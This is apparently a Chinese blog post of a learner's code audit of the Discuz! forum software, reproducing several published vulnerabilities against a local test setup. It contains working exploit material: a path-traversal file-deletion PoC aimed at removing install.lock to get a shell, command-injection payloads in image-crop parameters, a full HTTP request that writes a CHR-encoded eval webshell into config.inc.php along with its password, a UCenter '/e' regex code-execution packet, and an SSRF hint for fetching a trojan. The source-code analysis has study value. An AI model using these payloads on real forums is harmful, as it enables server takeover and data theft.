重头开始--dz论坛代码审计

看了几天的代码审计(seay法师著),是时候拿最出名的学习下了

Discuzx32

环境搭建




开始复现一个最近爆出的漏洞

新注册账户test,会在bbs2下生成text.txt

登陆账号后  test/test

构造POC:

home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
其中formhash为用户hash

修改成功之后出生地就会变为../../../test.txt

然后删除bbs2目录下的test.txt

但是这里出错了  不知道是不是版本问题


代码审计:






总结整个漏洞利用流程:

修改birthprovince->上传图片->执行unlink->删除任意文件

这里可以删除install.lock 文件,然后打开网站根目录的install,重新安装,配置数据库的时候写入一句话,拿shell



命令执行漏洞

在管理员开启ImageMagick上传图片功能的前提下,攻击者只需要一个普通用户权限即可,后台设置方法如下图: 2015011510464740089image003[1]   由于这个功能是对图片进行处理的,所以,要在访问时提供一个本站有效的图片地址。而且最好是存放在data/attachment目录下的,因为默认就是这个目录,否则就要用“../”来修改路径。 所以我的访问路径为:

payload:

http://127.0.0.1/AllCMS/Discuzx/Discuzx32gbk/bbs2/misc.php?mod=imgcropper&img=1.jpg


然后使用chrome审查元素功能,修改picwidth的value为“||whoami&”,如下图所示:2015011510473133001image005[1]  然后点击网页右下角的裁剪按钮就触发了。为了能直观显示,我添加了一行代码将接受执行结果的$return变量,echo出来并exit来结束掉后面的语句,效果如下图所示: 2015011510475832852image007[1]

然后点击网页右下角的裁剪按钮就触发了。为了能直观显示,我添加了一行代码将接受执行结果的$return变量,echo出来并exit来结束掉后面的语句,效果如下图所示: 2015011510475832852image007[1]

1. 同点后台命令执行


在后台全局->上传设置->ImageMagick 程序安装路径 2015011510503457908image009[1]   由于这个功能是对图片进行处理的,所以,要在访问时提供一个本站有效的图片地址。而且最好是存放在data/attachment目录下的,因为默认就是这个目录,否则就要用“../”来修改路径。 所以我的访问路径为 然后直接点击左下角的裁剪,虽然会返回图片访问错误,但是命令却正常执行了,如下图所示: 2015011510504922244image011[1]   

2. ImageMagick


这个漏洞需要在后台开启ImageMagick功能,并确保ImageMagick功能正常运行。下图是我在后台中开启的这个功能,并填写ImageMagick安装目录。 2015011510520798926image0132[1]    如果这个功能开启,我们甚至可以在没有账号的情况下,前台完成命令执行的触发。 首先访问裁切图片的这个功能,因为这个漏洞的触发必须要有一张有效图片,所以我们可以在论坛帖子中随便找到一张图片来引用。例如:我的发帖图片是: 那么我要访问的裁切功能的URL为: 然后修改POST数据包中cutheight或者cutwidth中的内容为“%26%26mkdir tsrc||”提交,就可以在discuz根目录下创建一个tsrc的目录。 修改输入包如下图所示:  2015011510530323771image0151[1]    提交后效果如下图所示: 2015011510533570873image017[1]   



Discuz25


DiscuzX3.1

EXP:

POST /utility/convert/index.php HTTP/1.1Host: www.test.ichunqiuUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveContent-Length: 199Content-Type: application/x-www-form-urlencodeda=config& source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes


菜刀拿到shell

密码是c


config.inc.php写入了一句话

完整的Payload

a=config& source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

index.php 文件分析

<?php


// 包含了common.inc.php文件
require './include/common.inc.php';

// 关于getgpc函数 在global_func.php 中。参考:http://blog.csdn.net/xavierdarkness/article/details/78062852
$action = getgpc('a');      // 取$_POST['a'],直接赋值给$action ,此时$action = config;
$action = empty($action) ? getgpc('action') : $action;     //此时 $action = config;
$source = getgpc('source') ? getgpc('source') : getgpc('s');    // $source = d7.2_x2.0 HTTP/1.1;
$step = getgpc('step');
$start = getgpc('start');

……省略部分源码……

if($action == 'source') {
    require DISCUZ_ROOT.'./include/do_source.inc.php';
    // common.inc.php 如果config.inc.php文件不存在,就为true
} elseif($action == 'config' || CONFIG_EMPTY) {      // $action = config; 包含./include/do_config.inc.php 文件
    require DISCUZ_ROOT.'./include/do_config.inc.php';  
} elseif($action == 'setting') {
……省略 ……
?>

do_config.inc.php


<?php

$configfile = DISCUZ_ROOT.'./data/config.inc.php';
$configfile_default = DISCUZ_ROOT.'./data/config.default.php';

// 创建config.inc.php
@touch($configfile);
// 检查写入权限
if(!is_writable($configfile)) {
    showmessage('config_write_error');
}

$config_default = loadconfig('config.default.php');      // 设置配置文件
$error = array();
// submitcheck()返回true,此函数定义在 include\global.func.php 文件中
if(submitcheck()) {
    $newconfig = getgpc('newconfig');   //取$_POST[newconfig]数据
/*此时newconfig[aaa
eval(eval("$_POST[c];"););//];
*/
    if(is_array($newconfig)) {
        $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
        foreach ($checkarray as $key) {
            if(!empty($newconfig[$key]['dbhost'])) {
                $check = mysql_connect_test($newconfig[$key], $key);
                if($check < 0) {
                    $error[$key] = lang('mysql_connect_error_'.abs($check));
                }
            } else {
                $error[$key] = lang('mysql_config_error');
            }
        }
        //保存$newconfig到$configfile文件中,即config.inc.php文件。接下去查看一下这个函数吧。
        save_config_file($configfile, $newconfig, $config_default);

        if(empty($error)) {
            $db_target = new db_mysql($newconfig['target']);
            $db_target->connect();
            delete_process('all');
            showmessage('config_success', 'index.php?a=select&source='.$source);
        }
    }
}

?>

函数 save_config_file


function save_config_file($filename, $config, $default) {
    $config = setdefault($config, $default);           // 将$config中的空白项用 $default 中对应项的值填充
// 联系上下文,即将 './data/config.default.php'文件对应项 赋值给 $newconfig 这个数组中对应的空白项
// 此时的$config = $newconfig+config.default.php对应项的补充
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $content = <<<EOT
<?php


\$_config = array();

EOT;
        // 看下一步getvars函数,此时的$config = $newconfig+config.default.php对应项的补充
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);
}

function setdefault($var, $default) {
    foreach ($default as $k => $v) {
        if(!isset($var[$k])) {
            $var[$k] = $default[$k];
        } elseif(is_array($v)) {
            $var[$k] = setdefault($var[$k], $default[$k]);
        }
    }
    return $var;
}


函数 getvars

所在文件:\utility\convert\include\global.func.php
// $data = array('_config' => $config) 其中 $config = $newconfig+config.default.php对应项的补充
function getvars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
            continue;
        }
        if(is_array($val)) {
            // 查看buildarray函数,$key 即为_config
            $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

buildarray函数

所在文件:\utility\convert\include\global.func.php

// 这里的$array=$config $level=0  $pre=$_config
function buildarray($array, $level = 0, $pre = '$_config') {
    static $ks;
    if($level == 0) {
        $ks = array();
        $return = '';
    }

    foreach ($array as $key => $val) {
        // 遍历$config 中的 $key => $val ,  键值对应项
        if($level == 0) {
            //str_pad — 使用另一个字符串填充字符串为指定长度
            // 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
            $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
            /*
            这里是产生漏洞关键
            1. DISCUZ的本意是使用$config数组的key作为每一块配置区域的"注释标题"
            2. 写入配置文件的$newline依赖于$key,而$key是攻击者可控的
            3. 未对输入数据进行正确的边界处理,导致攻击者在输入数据中插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码
                1) 换行符
                2) ?>
            这类定界符都是可以达到同样的效果的
            */
            $return .= "\r\n// $newline //\r\n";
        }

        $ks[$level] = $ks[$level - 1]."['$key']";
        if(is_array($val)) {
            $ks[$level] = $ks[$level - 1]."['$key']";
            $return .= buildarray($val, $level + 1, $pre);
        } else {
            $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
            $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
        }
    }
    return $return;
}

UCenter 利用


首先我们们访问 api/uc.php (居然可以直接访问,好开心),之后我们会发现uc处理机制中比较讨厌的环节——用户传递的参数需要经过 UC_KEY 加密:
if(!defined('IN_UC')) {
    require_once '../source/class/class_core.php';
 
    $discuz = C::app();
    $discuz->init();
 
    require DISCUZ_ROOT.'./config/config_ucenter.php';
 
    $get = $post = array();
 
    $code = @$_GET['code'];
    parse_str(authcode($code, 'DECODE', UC_KEY), $get);
 
所以这里需要有个前提,需要知道UC_KEY或者可以操控UC_KEY。那么问题来了,我们要怎么达到这个前提呢? 我们在后台中站长 ->UCenter 设置中发现有“ UCenter 通信密钥 ”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。 2015081006105261769[1] 从下图我们可以看到,配置文件已经被修改了: 2015081006105247962[1]  然后我们在自己搭建的discuz的 api/uc.php 文件中添加两行代码,来加密get请求所需要的内容:
$a = 'time='.time().'&action=updatebadwords';
   $code = authcode($a, 'ENCODE', 'tang3');
   echo $code;exit;
这样我们就可以获取到加密后的code值了! 2015081006105368463[1]  然后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方需要注意,一个是formhash,一个是刚才获取的code需要进行一次url编码,否则解密会出现问题。我使用的数据包如下图所示:
POST /discuzx3.220150602/api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1
Host: 192.168.188.144
Proxy-Connection: keep-alive
Content-Length: 178
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.188.144
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.188.144/discuzx3.220150602/admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=1432691505; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfSmj; so6a_2132_saltkey=JjZJ2klz; so6a_2132_lastvisit=1433227409; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_1433233630; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C1433239071; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2Fdu; so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=1433476664%09admin.php%09; so6a_2132_sid=LE2xb1

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
    <item id="balabala">
        <item id="findpattern">/.*/e</item>
        <item id="replacement">phpinfo();</item>
    </item>
</root>
发送后可以发现 uc_client/data/cache 目录下的 badwords.php 内容变为了我们刚刚设定的正则表达式的样子: 2015081006105364148[1] 之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,这里我以添加一个用户为例。 2015081006105355692[1] 2015081006105493258[1]






参考:

http://www.freebuf.com/vuls/149904.html

http://0day5.com/archives/3292/

https://www.jianshu.com/p/c51b414d2bf0

DISCUZ后台秒shell

Discuz x3.0

Discuz X3.5   ssrf

 http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=view&aid=1  //发表文章处


http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=*****&ptid=1&pid=1 //登录后编辑文章处
配合nc   ssrf远程下载主机的恶意木马 拿到shell






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值